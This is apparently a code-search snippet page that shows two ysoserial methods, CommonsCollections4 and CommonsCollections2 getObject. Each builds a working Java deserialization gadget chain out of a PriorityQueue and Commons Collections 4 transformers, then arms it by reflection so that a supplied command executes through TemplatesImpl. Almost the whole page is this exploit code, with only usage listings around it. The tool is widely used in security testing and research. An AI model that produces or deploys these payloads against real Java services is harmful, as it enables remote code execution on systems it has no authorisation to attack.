Search in sources :

Example 1 with TransformingComparator

use of org.apache.commons.collections4.comparators.TransformingComparator in project ysoserial by frohoff.

the class CommonsCollections4 method getObject.

public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);
    ConstantTransformer constant = new ConstantTransformer(String.class);
    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, args);
    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);
    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;
    return queue;
}
Also used : InstantiateTransformer(org.apache.commons.collections4.functors.InstantiateTransformer) ChainedTransformer(org.apache.commons.collections4.functors.ChainedTransformer) PriorityQueue(java.util.PriorityQueue) TransformingComparator(org.apache.commons.collections4.comparators.TransformingComparator) ConstantTransformer(org.apache.commons.collections4.functors.ConstantTransformer)

Example 2 with TransformingComparator

use of org.apache.commons.collections4.comparators.TransformingComparator in project ysoserial by frohoff.

the class CommonsCollections2 method getObject.

public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);
    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;
    return queue;
}
Also used : PriorityQueue(java.util.PriorityQueue) TransformingComparator(org.apache.commons.collections4.comparators.TransformingComparator) InvokerTransformer(org.apache.commons.collections4.functors.InvokerTransformer)

Aggregations

PriorityQueue (java.util.PriorityQueue)2 TransformingComparator (org.apache.commons.collections4.comparators.TransformingComparator)2 ChainedTransformer (org.apache.commons.collections4.functors.ChainedTransformer)1 ConstantTransformer (org.apache.commons.collections4.functors.ConstantTransformer)1 InstantiateTransformer (org.apache.commons.collections4.functors.InstantiateTransformer)1 InvokerTransformer (org.apache.commons.collections4.functors.InvokerTransformer)1